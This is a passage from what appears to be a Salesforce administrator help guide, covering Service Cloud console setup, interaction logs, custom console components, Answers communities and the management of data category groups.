the subtabs will appear. For example, if you want cases to appear as subtabs on contacts, select Contact Name (Contact) in the Cases row. If parent records don't apply, subtabs appear as primary tabs. For example, if you make campaigns a subtab of leads but a lead doesn't belong to a campaign, that campaign appears as a primary tab. 10. Click Next. 11. Assign the Service Cloud console to user profiles: a. Check the Visible box to choose the user profiles for which the app will be available. b. Check the Default box to set the app as that profiles default app. This means that new users who have the profile will see this app when they log in for the first time. Profiles with limits are excluded from this list. 12. Click Save. Tip: You must refresh your browser to see any setup changes to the Service Cloud console.

See Also:
Setting Up a Service Cloud Console Service Cloud Console Overview What is an App?

Setting Up Interaction Logs

1427

Customize

Setting Up a Service Cloud Console

Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To set up interaction logs: Customize Application

The Service Cloud console lets users write notes on records that appear on primary tabs. A set of notes is called an interaction log. Creating Interaction Logs You can create multiple interaction logs and customize them to display specific task fields for different users to update. 1. 2. 3. 4. Click Your Name > Setup > Create > Interaction Log Layouts. Click New. Name the interaction log. Select task fields to add to the interaction log and click Add. * indicates required fields. You can only add editable task fields to interaction logs. The Enter your notes here... field is automatically added to all interaction logs; you can't remove it.

5. If you want this interaction log to be the default for all users, select Set as default layout. You can't delete a default interaction log; you must first mark another interaction log as the default for your organization. 6. Click Save. Tip: You can create custom fields for tasks and add them to interaction logs. For example, you can create a Caller Disposition picklist with values of Angry, Neutral, and Satisfied.

Assigning Interaction Logs After you set up or customize interaction logs, you can assign them to different user profiles. 1. 2. 3. 4. Click Your Name > Setup > Create > Interaction Log Layouts. Click Log Layout Assignment. Choose an interaction log to assign to each user profile. Click Save. Note: You can't assign interaction logs to portal user profiles because the Service Cloud console isn't available to portal users.

Turning off Interaction Logs You can turn off interaction logs on page layouts assigned to different user profiles. 1. For standard objects, click Your Name > Setup > Customize > Object > Page Layouts. For custom objects, click Your Name > Setup > Create > Objects, then choose the object.

1428

Customize

Setting Up a Service Cloud Console

2. 3. 4. 5.

Click Edit next to a page layout. Click Layout Properties. Deselect Interaction Log and click OK. Click Save. Note: If you turn on or off interaction logs, you must close and reopen records to see the changes.

See Also:
Setting Up a Service Cloud Console Service Cloud Console Overview

Choosing How Lists Display in the Service Cloud Console


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To choose how lists display: Customize Application

In the Service Cloud console, you can display lists in one of three ways: List Type
Full screen, unpinned

Description Lists are visible only when the navigation tab is selected. When you select a record from the list, it opens in a new tab. Lists appear at the top of the page and are always visible. When you select a record from the list, it opens in a new tab below the list. Lists appear on the left side of the page and are always visible. When you select a record from the list, it opens in a new tab to the right of the list.

Pinned to top

Pinned to left

To change how lists display: 1. 2. 3. 4. Click Your Name > Setup > Create > Apps. Select a Service Cloud console app. Click Edit. Choose how you want lists to display. If you choose pinned lists, specify a default size, in pixels or percentage of screen space. 5. Click Save.

1429

Customize

Custom Console Components Overview

Note: If a user hasn't yet selected a record from a list, the list automatically displays full screen.

See Also:
Setting Up a Service Cloud Console Resizing and Minimizing Pinned Lists in the Service Cloud Console

Custom Console Components Overview


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

Custom console components let you customize, extend, or integrate the sidebars of the Service Cloud console using Visualforce. Visualforce uses a tag-based markup language to give developers a more powerful way to build applications and customize the Salesforce user interface. For example, you might want to create custom console components that: Show registered products on accounts or contacts Display the location of contacts on Google maps List new cases on accounts or contacts Display the next milestones on cases Show similar cases on each case

You can use the Service Cloud Console Integration Toolkit to build custom console components. The toolkit is an API that uses browsers as clients to display pages as tabs in the console. It provides you with programmatic access to the console so that you can extend it to meet your business needs. For example, you can use the toolkit to open and close tabs in the console to streamline a business process. In addition to this, custom console components can: Display content in sidebars instead of tabs Display information without users having to click a button or link Display automatically when users view specific pages Show contextual information alongside records Show small amounts of information on pages

For more information (English only) about the toolkit, see the Service Cloud Console Integration Toolkit Developer's Guide. Creating a custom console component typically involves these steps: 1. 2. 3. 4. Developers create a Visualforce page. Administrators add the Visualforce page to page layouts via a lookup field. Administrators determine the width and location of the component in the console from page layouts. Users view the component when they access page layouts in the Service Cloud console.

1430

Customize

Custom Console Components Overview

Implementation Tips Only users assigned to the Service Cloud User feature license can add custom console components to page layouts. See Viewing Feature Licenses on page 573. Custom console components don't refresh automatically when users update records on primary tabs or subtabs. You can't delete Visualforce pages that are assigned to page layouts as custom console components. You can use a Visualforce page as a component once for each page layout. Unlike other Visualforce pages, you don't have to set the standard controller on custom console components to the object whose page layout you're customizing. Two URL parameter values are passed automatically to Visualforce pages used as custom console components: Parameter Name
id

Parameter Value A case-sensitive 15-character alphanumeric string that uniquely identifies a record.

Description The ID of the detail page in which the component displays. This parameter is only passed if the ID is available. Indicates the Visualforce page displays as a component in the Service Cloud console.

inContextPane

true

Best Practices If Salesforce Knowledge is enabled and the Knowledge sidebar is turned on, we recommend that you don't add a custom console component to the Right Sidebar of the console on case page layouts. This is because the Knowledge sidebar automatically displays over components in such cases. If you change the Height or Width of a custom console component, we recommend that you refresh your browser before you view your updates. If you add showHeader=true to a Visualforce page, you can add a 15pixel gap to the right and left sides of a custom console component to visually indicate its location in a sidebar. For example, <apex:page> standardController="Contact" showHeader="false" title="List of Cases">.

See Also:
Service Cloud Console Overview Setting Up a Service Cloud Console Adding Custom Console Components Defining Visualforce Pages

Adding Custom Console Components

1431

Customize

Custom Console Components Overview

Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To add custom console components: To create Visualforce pages: Customize Application Customize Application

After you create a custom console component (Visualforce page), you can add it to page layouts so that users can access it as a component from a sidebar in the Service Cloud console. To add a custom console component to page layouts: 1. For standard objects, click Your Name > Setup > Customize > Object > Page Layouts. For custom objects, click Your Name > Setup > Create > Objects, then choose the object. 2. Click Edit next to a page layout. 3. Click Custom Console Components. 4. Next to the sidebar in which you want to add your component, type the name of the Visualforce page, or click and select the Visualforce page. 5. Enter the height or width of the component as it should display in the console. 6. Click Save. to find

See Also:
Custom Console Components Overview Service Cloud Console Overview Setting Up a Service Cloud Console Defining Visualforce Pages

SETTING UP ANSWERS
Setting Up Answers

1432

Customize

Setting Up Answers

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize answers settings: Customize Application

To set up answers: 1. Enable answers and set the default community. 2. Create a category group for answers and add data categories to the category group. Note: Even though you can create up to five hierarchy levels of categories in a category group, only the first level of categories is supported in your answers community. Child categories below the first level are not displayed in the community, and community members can't assign these child categories to questions. 3. Assign the data categories to your answers community. 4. Review the category group visibility settings to decide how you want to restrict access to categories and categorized questions in the answers community. 5. If your organization has as role hierarchy set up: a. Customize each role's category group visibility. b. Assign roles to the users that you want to participate in the answers community. c. (Optional) Designate default category group visibility for users without roles, such as high-volume portal users. 6. (Optional) To allow community members who work with cases to escalate an unanswered or problematic question to a new case: a. On the Your Name > Setup > Customize > Cases > Page Layouts page, edit the case page layouts to include the Question field. b. On the Your Name > Setup > Customize > Cases > Fields page, ensure that field-level security for the Question field makes the field visible in the necessary profiles. Only community members who have permission to create cases will see an Escalate to Case option on questions. 7. (Optional) If your organization uses Salesforce Knowledge, users can convert particularly helpful replies into articles in the knowledge base. Click Your Name > Setup > Customize > Knowledge > Settings and ensure that Allow users to create an article from a reply is checked. 8. (Optional) Create validation rules for questions and replies to prevent offensive language from being posted to the answers community. To create validation rules, click Your Name > Setup > Customize > Answers > Question Validation Rules and Your Name > Setup > Customize > Answers > Reply Validation Rules. Refer to Community Validation Rules on page 1093 for sample rules. 9. (Optional) Create workflow rules for questions. For example, you may want to create a workflow rule that sends the community administrator an email whenever a question has ten or more replies but no best answer. Questions do not support approval processes or workflow tasks. 10. (Optional) Create reports for your answers community.

1433

Customize

Enabling Answers and Assigning the Default Community

11. (Optional) Enable answers in your Customer Portal or enable answers in your partner portal.

See Also:
Answers Overview Salesforce Answers Implementation Guide

Enabling Answers and Assigning the Default Community


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize answers settings: Customize Application

Answers is a feature of the Community application that enables users to ask questions and have community members post replies. Community members can then vote on the helpfulness of each reply, and the person who asked the question can mark one reply as the best answer. To enable the answers feature: 1. Click Your Name > Setup > Customize > Answers > Settings. 2. Click Edit. 3. Use the Enable Answers checkbox to enable answers. Enabling answers adds the Answers tab to the Community application and creates a community named Internal Community. 4. Select the default community for the Answers tab. You can only display one answers community at a time. You can either use Internal Community as the default or create a new community and use it as the default. 5. Click Save.

See Also:
Answers Overview Creating and Editing Communities Salesforce Answers Implementation Guide

Creating and Editing Communities

1434

Customize

Creating and Editing Communities

Ideas communities available in: Professional, Enterprise, Unlimited, and Developer Editions Answers communities available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit a community: Customize Application

To create a new community or edit the details of an existing community: 1. Click Your Name > Setup > Customize > Ideas > Communities or Your Name > Setup > Customize > Answers > Communities. Communities are shared by the ideas and answers features, allowing you to view and create communities from either location. 2. Click Edit next to the community you want to change or New to create a new community. 3. Enter a unique name for your community. This name displays to all community members so use a name that clearly identifies the community's purpose. For ideas, if you have more than one community, the community whose name comes first in the alphabet is the community that is displayed when users first visit the Ideas tab. For example, if you're a computer manufacturer and have a community named Laptop Products and another named Desktop Products, the Desktop Products community appears first when users go to the Ideas tab. Answers can only have one community displayed at a time. 4. Optionally, enter a description in plain text. HTML and other markup languages are not supported. 5. Select the Active checkbox to display the community to your ideas and answers users. You can't delete communities, so if you need to hide a community, make sure Active isn't selected. All active communities are automatically available from the Ideas tab (if ideas is enabled), but you can only assign one active community to answers. To make a community available from answers, enable answers and assign the default community. 6. To add a group of experts to this community, select a public group from the Experts Group drop-down list. For information on creating public groups, see Creating and Editing Groups on page 555. Note: Expert groups are only supported in Salesforce CRM Ideas. Answers doesn't support this feature.

7. Use the Portal drop-down list to specify in which portal you want this community displayed. If you only want this community displayed to internal Salesforce users and not to Customer Portal or partner portal users, select Do Not Display in Portal. To make an ideas community publicly available, you must select the Customer Portal that you plan to expose publicly using Force.com sites. Answers communities do not support Force.com sites. When you display a community in a portal, (External) is appended to the community name. Communities that aren't displayed in a portal have (Internal) appended to the name. For example, Laptop Products Community (External). 8. Click Save.

1435

Customize

Assigning Data Categories to Answers

Community Expert Overview A community expert is a member of the community who speaks credibly and authoritatively on behalf of your organization. When a community expert posts a comment or idea, a unique icon ( ) displays next to his or her name so other community members can easily identify credible information within the community. The Salesforce administrator can designate as many community experts as necessary. Before you select a public group to be community experts, note the following: A community expert can be an employee of your organization who is responsible for providing official responses to the community, or a community expert can be someone outside your organization who is active within the community and knowledgeable about the subject matter. The only difference between a community expert and other community members is the unique icon that displays next to the community expert's name. Community experts do not have any extra permissions beyond what is specified in their user profile and permission sets. Community experts must be part of a public group and that public group must be specified in the Experts Group drop-down list. You may need to create a public group for each community if the experts within those communities are different. If a community is displayed in a Customer Portal or partner portal, you can use a cascading style sheet (CSS) to change the icon associated with the community expert. When creating a new portal, specify your CSS in the Header of your portal and use the expertUserBadge class to reference the new background image for the community expert. We recommend the community expert icon be no larger than 16 by 16 pixels. For more information, see Creating Partner Portals on page 3054 and Enabling Customer Portal Login and Settings on page 1545.

See Also:
Selecting Picklist Values and Defaults for a Community Communities Home Enabling Salesforce CRM Ideas in the Customer Portal Force.com Sites Overview Administrator setup guide: Salesforce Ideas Implementation Guide

Assigning Data Categories to Answers


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize answers settings: Customize Application

In an answers community, a category group provides one or more categories that help organize questions for easy browsing. If the category group contains a hierarchy, only the first-level categories display on the Answers tab. For example, if you're a computer manufacturer you might create a Products category group for your Products community that has four categories: Performance Laptops, Portable Laptops, Gaming Desktops, and Enterprise Desktops. Community members can choose one of the categories to assign to a question. The following example shows how the categories within a category group appear on the Answers tab.

1436

Customize

Assigning Data Categories to Answers

Figure 9: Answers tab displaying categories 1. The community assigned to answers. 2. When you assign a category group to answers, the data categories within the group appear beneath the community name on the Answers tab. Community members can assign these categories to their questions and browse within categories to see related questions. The name of the category group isn't displayed within the answers community. The name of the category group is not displayed in the answers community; however, all the categories within the group appear below the community name on the Answers tab. To assign a category group to answers: 1. Create a category group for answers and add data categories to the category group. We recommend naming the category group the same as the answers community so other administrators understand where the category group is being used. Note: Even though you can create up to five hierarchy levels of categories in a category group, only the first level of categories is supported in your answers community. Child categories below the first level are not displayed in the community, and community members can't assign these child categories to questions. 2. Go to Your Name > Setup > Customize > Answers > Data Category Assignments. The category group assignments page only displays after you enable answers. 3. Click Edit. 4. Select the category group you want to assign to your answers community. Note: If you change the category group for answers later, all the existing categories associated with your questions are removed. The questions in your answers community become uncategorized until community members assign the new categories to them. 5. Click Save.

1437

Customize

Editing and Deleting a Reply

You receive an email after the save process completes.

See Also:
Answers Overview What are Data Categories? About Category Group Visibility

Editing and Deleting a Reply


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit replies: To delete replies: Edit on questions Delete on questions

Standard users without the edit and delete permissions on the answers object cannot edit or delete their replies. However, as the Salesforce administrator, you can edit or delete any reply posted to a community. For example, you may want to monitor your answers community and edit or delete replies that contain inappropriate content or offensive language. To edit or delete a reply: 1. Click the question title to view a list of all replies for the question. 2. Click Edit or Delete next to the reply you want to change or remove. When deleting a reply, the reply goes to the Recycle Bin. Another way to prevent offensive language is to create a validation rule that prevents users from entering specific words when posting a reply. To create validation rules, click Your Name > Setup > Customize > Answers > Question Validation Rules and Your Name > Setup > Customize > Answers > Reply Validation Rules. Refer to Community Validation Rules on page 1093 for sample rules.

See Also:
Answers Overview Using Answers Replying to a Question

Editing and Deleting a Question

1438

Customize

Editing and Deleting a Question

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit any question: To delete any question: Edit on questions Delete on questions

Standard users can delete their own questions if the questions have not received replies. Once a question receives a reply, the owner of the question can no longer delete it. As the Salesforce administrator, you can edit or delete any question posted to a community. For example, you may want to monitor your answers community and edit or delete questions that contain inappropriate content or offensive language. To edit or delete a question: 1. Click the question title to view the question detail page. 2. Click Edit or Delete at the top of the page. When editing a question, you can change the title or description and select a different category for the question. When deleting a question, the question (and all associated replies) goes to the Recycle Bin. Another way to prevent offensive language is to create a validation rule that prevents users from entering specific words when asking a question. To create validation rules, click Your Name > Setup > Customize > Answers > Question Validation Rules and Your Name > Setup > Customize > Answers > Reply Validation Rules. Refer to Community Validation Rules on page 1093 for sample rules.

See Also:
Answers Overview Using Answers Asking a Question

Setting Up Reports for Answers

1439

Customize

Setting Up Reports for Answers

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or update custom report types: To delete custom report types: Manage Custom Report Types Modify All Data

As an administrator, you can create custom report types so users can run and create custom reports about questions, replies, and votes. Custom report types are the only way to make reports about your answers community available for your usersSalesforce does not provide sample answers reports or a standard report folder for answers. To create a folder of answers reports for your users: 1. Set up a custom report type for answers. The primary object for your report is Questions. There isn't a specific report category for answers, so you probably want to store your report in the Other Reports or Administrative Reports category. When setting up object relationships, Questions can have a relationship with Replies, and Replies can have a relationship with Votes.

2. Create a new public folder for answers reports. This step requires the Manage Public Reports permission. 3. Using your custom report type, create one or more new custom reports for answers. Assign the reports to the new answers reports folder you created. After completing these steps, a folder of answers reports is available to your users on the Reports home page.

See Also:
Answers Overview

DATA CATEGORIES
What are Data Categories?

1440

Customize

What are Data Categories?

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Data Categories page: To create, edit, or delete data categories: View Data Categories Manage Data Categories

Data categories can be used by Salesforce Knowledge (articles and article translations) and answers communities (questions) to help users classify and find articles or questions. Administrators can use data categories to control access to articles and questions. Salesforce Knowledge supports a five-level hierarchy of data categories within each category group. You can classify articles in the knowledge base according to multiple categories that make it easy for users to find the articles they need. For example, to classify articles by sales regions and business units, create two category groups, Sales Regions and Business Units. The Sales Regions category group could consist of a geographical hierarchy, such as All Sales Regions as the top level, North America, Europe, and Asia at the second level, and so on. In an answers community, data categories help organize questions for easy browsing. Each community supports one category group. For example, if you're a computer manufacturer you might create a Products category group that has four sibling categories: Performance Laptops, Portable Laptops, Gaming Desktops, and Enterprise Desktops. On the Answers tab, community members can assign one of the four categories to each question and then browse these categories for answers to specific questions. Benefits of Data Categories Logical Classification of Articles As a knowledge base administrator, you can organize your knowledge base articles into a logical hierarchy and tag articles with the attributes that are significant to your business. Easy Access to Questions As an answers community administrator, you can choose which data categories are visible on the Answers tab. Community members can tag a question with a category, which makes finding questions and answers easier for other members. Role-Based Control of Article and Question Visibility As a knowledge base or answers community administrator, you can centrally control the visibility articles or questions by mapping roles in the role hierarchy to categories in the category groups. When an article or question is categorized, users in mapped roles can automatically see it. Article Filtering As a support agent, when articles are classified into logical categories, you can quickly and easily locate the article you need by filtering your organization's knowledge base. To ensure you see all relevant articles, filtering by category has expansive results that include a category's upward and downward relatives in the category hierarchy. For example, if your category hierarchy for products has the levels All Products > Computers > Laptops > Gaming Laptops and you are helping a customer with a laptop problem, filtering by Laptops returns articles classified with Laptops as well as articles classified with Computers, All Products, or Gaming Laptops. Effectively, you are made aware of useful related articles like a free shipping offer for all products or an upgrade offer for gaming laptops. (To prevent irrelevant results, category filtering doesn't return nonlineal relatives like siblings and cousins. Articles about Desktops, a sibling of Laptops, would not display.)

1441

Customize

What are Data Categories?

Article and Question Navigation As an end user, you can navigate the categories on the Articles tab or Answers tab to find the information you need to solve your problem. Managing Category Groups for Articles and Questions If your organization has Salesforce Knowledge and an answers community, you can create separate category groups or use the same category group for articles and questions. Overview of Data Categories in Articles A category group is the container for a set of categories. In Salesforce Knowledge it corresponds to the name of the category drop-down menus. For example, if you use the Data Categories setup page (Your Name > Setup > Customize > Data Categories) to create and activate a category group called Products, a Products menu displays on the Article Management tab, the article edit page, the Articles tab in all channels, and the public knowledge base. As an illustration, the figure below shows a knowledge base administrator's view of an article about laptop deals; using the article edit page, the administrator has classified the article with Laptops in the Products category group, and USA in the Geography category group.

Figure 10: An Article About Laptop Deals on the Article Management Tab The next figure now illustrates an agent finding that same article published on the Articles tab; the agent has selected Laptops and USA respectively in the Products and Geography drop-down menus to retrieve an article that is classified with both Laptops and USA.

Figure 11: An Article About Laptop Deals on the Articles Tab When you add categories to a category group, you build a hierarchy that can contain up to five levels of depth and up to 100 categories total. Each category can have one parent, many siblings, and many children. A robust and well-organized category hierarchy helps users find the articles that are relevant to them quickly and easily. By default, all Salesforce Knowledge users with a role have access to all categories; however, you can restrict category visibility by role. Overview of Data Categories in Answers Communities An answers community supports one category group, and community members can assign one category to each question. Even though you can create up to five hierarchy levels of categories in a category group, only the first level of categories is supported

1442

Customize

What are Data Categories?

in your answers community. Child categories below the first level are not displayed in the community, and community members can't assign these child categories to questions. The categories within the group display on the Answers tab below the community name.

Figure 12: Answers tab displaying categories By default, all community members have access to all categories; however, you can specify category visibility by role. Implementation Tips Consider the following information when planning and implementing data categories for your organization: You can create up to three category groups with a maximum of five hierarchy levels in each group. Each category group can contain a total of 100 categories. If you want to use data categories in an answers community, after creating your category group you must assign it to a community at Your Name > Setup > Customize > Answers > Data Category Assignments. You can only assign one category group to an answers community. Salesforce Knowledge supports multiple category groups. Even though you can create up to five hierarchy levels of categories in a category group, only the first level of categories is supported in your answers community. Child categories below the first level are not displayed in the community, and community members can't assign these child categories to questions. Salesforce Knowledge supports a hierarchy of data categories. Category groups are hidden from users until they are activated. Do not activate a category group until you have finished defining its categories and their access settings, including their mapping to roles. When assigning categories to articles, you can choose up to eight categories in a category group. If an article has no categories, it displays only when you choose the No Filter option in the category drop-down menu. When searching for articles or article translations, selecting a category automatically includes the parent and children of that category and any grandparents, up to and including the top level. Sibling categories are not included. For example, if a category hierarchy has the levels All Products, Switches, Optical Networks, and Metro Core, selecting Optical Networks from the category drop-down menu returns articles assigned to any of the four categories. However, if the Switches category has a sibling category called Routers, selecting Optical Networks does not return articles classified within Routers. Category visibility settings may limit the specific articles you can find. Once role-based visibility settings have been chosen for the categories: Users who are not assigned to a role can only see uncategorized articles and questions unless default category visibility has been set up.

1443

Customize

What are Data Categories?

By default Customer Portal users and partner portal users inherit the category group visibility settings assigned to their account managers. You can change the category group visibility settings for each portal role. If you only have access to one category in a category group, the category drop-down menu for that category group does not display on the Articles tab. Deleting a category: Permanently removes it. It cannot be restored. It never appears in the Recycle Bin. Permanently deletes its child categories. As applicable, removes the category and its children from the Answers tab, the Article Management tab, the Articles tab in all channels, and your company's public knowledge base. Removes associations between the category and articles or questions. You can reassign articles and questions to another category. Removes its mapping to a role. Users in the role lose their visibility to articles and answers associated with the deleted category. Deleting a category group: Moves it to the Deleted Category Groups section, which is a recycle bin. You can view items in this section but not edit them. It holds category groups for 45 days before they are permanently erased and cannot be recovered. During the 45day holding period, you can either restore a category group, or permanently erase it immediately. Deletes all categories within that group. Removes all associations between the group's categories and articles or questions. Removes all associations between the group's categories and roles. As applicable, removes the category drop-down menu from the Articles tab in all channels, the Article Management tab, and your company's public knowledge base. You can translate the labels of categories and category groups using the Translation Workbench.

Best Practices Consider the following tips when using data categories: To quickly manage data categories, use keyboard shortcuts. After creating or updating categories, set up category group visibility rules. Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to save.

See Also:
Managing Data Categories What is Salesforce Knowledge?

Managing Data Categories

1444

Customize

Managing Data Categories

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Data Categories page: To create, edit, or delete data categories: View Data Categories Manage Data Categories

Administrators can create data categories for Salesforce Knowledge articles or questions in an answers community to help users classify and find articles or questions. Administrators can also use data categories to control access to articles and questions. For more information, see What are Data Categories? on page 1440 Click Your Name > Setup > Customize > Data Categories to view the Data Categories page where you can: Create a category group. A category group is the container for a set of categories. In Salesforce Knowledge it appears as the name of the category drop-down menu on the Article Management and Articles tabs. For example, if you create two category groups called Geography and Products, the Article Management and Articles tabs will have two category menus from which to pick specific categories: Geography and Products. In answers communities, the name of the category group does not display on the Answers tab. Add categories to a category group. After creating a category group, you can create a hierarchy of categories within that group. These are the values that users select when assigning a category to an article or question and when searching for articles or questions. Modify existing categories. You can change a category's name, update its other attributes, move it to another location in the hierarchy, or reorder categories alphabetically. Delete a category group. You can delete, restore, or permanently erase a category group. Delete a category. You can permanently remove any category. Translate categories. You can translate your categories with the languages you want to support. Hover over a category group to view its properties and see whether it is used in Salesforce Knowledge or an answers community. Note: By default, Salesforce Knowledge users and answers community members have access to all articles and questions associated with any category. If you want to restrict access to articles and questions, you can modify visibility settings for data categories.

See Also:
Creating and Modifying Category Groups Deleting and Undeleting Category Groups Adding Data Categories to Category Groups Modifying and Positioning Data Categories Deleting Data Categories Useful Salesforce Knowledge Terminology

Creating and Modifying Category Groups


1445

Customize

Creating and Modifying Category Groups

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Data Categories page: To create, edit, or delete data categories: View Data Categories Manage Data Categories

Category groups can be used by Salesforce Knowledge (articles) or answers communities (questions). In both cases, category groups are containers for individual data categories. For example, a Contracts category group might contain Fixed Price, Cost Reimbursement, and Indefinite Delivery categories. For more information, see What are Data Categories? on page 1440 To create or edit a category group: 1. Click Your Name > Setup > Customize > Data Categories. 2. To create a new category group, click Create New in the Category Groups section. By default, you can create a maximum of five category groups and three active category groups. Contact salesforce.com to request additional category groups. To edit an existing category group, hover your cursor over the category group name and then click the Edit Category Group icon ( ).

3. Specify the Group Name. This name appears as the title of the category drop-down menu on the Article Management and Articles tabs, and, if applicable, in the public knowledge base. The Group Name does not appear on the Answers tab. 4. Optionally, modify the Group Unique Name. This is a unique name used to identify the category group in the Web services API. 5. Optionally, enter a description of the category group. 6. Click Save. You receive an email after the save process completes. You can now add categories to your category group. When you create a new category group, Salesforce automatically creates a top-level category in the group named All. Optionally, double-click All to rename it. Activating Category Groups When you add a new category group, it's deactivated by default and only displays on the administrative setup pages for Data Categories and Roles. Keep your category groups deactivated to set up your category hierarchy and assign role-based category visibility. Until you manually activate a category group, it does not display in Salesforce Knowledge or your answers community In addition to activating the category group, for answers communities you must assign the category group to a community before the categories are visible on the Answers tab. To activate a category group so it is available to users, move the mouse pointer over the name of the category group and click the Activate Category Group icon ( ).

See Also:
Managing Data Categories Adding Data Categories to Category Groups Deleting and Undeleting Category Groups Managing Articles and Translations About Category Group Visibility

1446

Customize

Deleting and Undeleting Category Groups

Deleting and Undeleting Category Groups


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Data Categories page: To create, edit, or delete data categories: View Data Categories Manage Data Categories

Caution: Deleting a category group deletes all of its categories and removes all associations between the categories and articles or questions. Read this entire topic carefully to understand the consequences of deleting category groups. To delete a category group: 1. Click Your Name > Setup > Customize > Data Categories. 2. Hover your cursor over the category group name. 3. Click the Delete Category Group icon ( ). 4. Select the checkbox in the confirmation dialog, then click OK. Consequences of Deleting Category Groups Deleting a category group: Moves it to the Deleted Category Groups section, which is a recycle bin. You can view items in this section but not edit them. It holds category groups for 45 days before they are permanently erased and cannot be recovered. During the 45day holding period, you can either restore a category group, or permanently erase it immediately. Deletes all categories within that group. Removes all associations between the group's categories and articles or questions. Removes all associations between the group's categories and roles. As applicable, removes the category drop-down menu from the Articles tab in all channels, the Article Management tab, and your company's public knowledge base.

Undeleting Category Groups To restore a deleted category group: 1. In the Removed Category Groups section, hover your cursor over the category group name. 2. Click the Undelete Category Group icon ( ).

The category group moves to the Category Groups section as an inactive category group, and associations with articles, questions, and roles are restored.

See Also:
Creating and Modifying Category Groups Managing Data Categories

1447

Customize

Adding Data Categories to Category Groups

Adding Data Categories to Category Groups


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Data Categories page: To create, edit, or delete data categories: View Data Categories Manage Data Categories

Administrators can create data categories for Salesforce Knowledge articles or questions in an answers community to help users classify and find articles or questions. Administrators can also use data categories to control access to articles and questions. For more information, see What are Data Categories? on page 1440 By default, for each category group you can create up to 100 categories and organize those categories into up to five hierarchy levels. To request additional categories or hierarchy levels, contact salesforce.com. Note: Because only first-level data categories display on the Answers tab, when creating data categories for an answers community ensure that the categories you want visible have a sibling relationship and not a parent-child relationship. To add categories to a category group: 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Data Categories. Click the category group name. Click a category that is directly above where you want to add a category (a parent), or at the same level (a sibling). Click Actions, then select an action: Add Child Category or Add Sibling Category. Enter a category name. If possible, Salesforce automatically reuses the name you entered as the Category Unique Name, a system field which the Web services API requires. 6. Click Add. Alternatively, press Enter. 7. Click Save. Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to save. Tip: By default, all Salesforce Knowledge users and answers community members can see all categories within an active category group. You can restrict category visibility after you have set up your data categories to ensure that users only access articles and questions that you want them to see.

See Also:
Managing Data Categories Modifying and Positioning Data Categories Deleting Data Categories Keyboard Shortcuts For Data Categories

Modifying and Positioning Data Categories


1448

Customize

Modifying and Positioning Data Categories

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Data Categories page: To create, edit, or delete data categories: View Data Categories Manage Data Categories

Caution: Modifying categories can result in long processing times, changes to the visibility of articles, changes to the categorization of articles and questions, and other significant consequences. Read this entire topic carefully before modifying categories. To modify the data categories in a category group and their positions in the hierarchy: 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Data Categories. Click a category group name. Optionally, click Expand All to display the full category hierarchy, or Collapse All to display only the top-level categories. Double-click a category to edit its name or its unique API name. Use drag-and-drop editing to reposition a category in the hierarchy. As you drag, a red icon indicates an invalid destination, while a green icon indicates a valid destination: Drag a category on top of another category to reposition it as a child of the destination category. For example, drag USA on top of North America to make USA one level below North America. After dragging, the category displays below the other child categories at that level. Drag a category to a line that borders another category to reposition it as a sibling of that category. For example, to position USA between Canada and Mexico, drag it to the line between Canada and Mexico.

6. Hover your cursor over a category name, then choose Order Child Categories Alphabetically from the Actions drop-down list to reorder that category's children in alphabetical order. This only affects the first level children, not grandchildren or deeper levels. 7. As you modify the category hierarchy, click Undo to cancel your last actions. Similarly, click Redo to step forward through your flow of performed actions. 8. Click Save. You will receive an email when the save process completes. Note: Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to save.

The save process recalculates the following: The contents of the category drop-down menu. The articles and questions visible to each role. The articles and questions associated with categories. Important: Modify the category hierarchy when user activity is low. Because the save process involves potentially large and complex recalculations, it may take a long time to complete. During processing, users may experience performance issues when searching for articles or questions or using category drop-down lists.

1449

Customize

Modifying and Positioning Data Categories

Example: How Changing the Hierarchy Affects Article Visibility Changing the category hierarchy potentially changes which articles users can see. When a category moves to a new parent category, roles that have no visibility on the new parent category lose their visibility to the repositioned category. In the example shown in the following graphic, the category PDAs moves from the original parent category Computers to the new parent category Consumer Electronics.

Figure 13: Moving the category PDAs To understand how this change affects which roles can see articles classified with the PDAs category, see the following table. When my role is mapped to: Could I see PDA articles in their old location under Computers? Can I see PDA Why? articles in their new location under Consumer Electronics? Yes No Yes When your role is mapped to the top-level All products category, you can see everything in the category hierarchy. You don't have access to the branch of the category hierarchy where PDAs is now located. PDAs has moved to the branch of the category hierarchy where you have been granted access.

All products Yes Computers Consumer Electronics Yes No

Example: How Changing the Hierarchy Affects Article Classification Classifying an article with a parent category implicitly grants access to that category's children. You cannot explicitly apply both a parent category and one of its children to an article. From the article edit page, selecting a parent category grays out its child categoriesyou cannot select them in addition to the parent category. Salesforce respects this fact when you move a

1450

Customize

Deleting Data Categories

category to a new parent. It prevents explicitly adding a child category to an article when the new parent category is already present. In the example depicted above, the category PDAs moves from the original parent category Computers to the new parent category Consumer Electronics. As a result, articles' classifications may or may not change: Articles formerly classified with both Consumer Electronics and PDAs lose PDAs, because having Consumer Electronics now implies having PDAs. Articles formerly classified with only Consumer Electronics but not PDAs do not change. Access to PDAs is now implied. Articles formerly classified with only PDAs, but not Consumer Electronics, retain PDAs.

See Also:
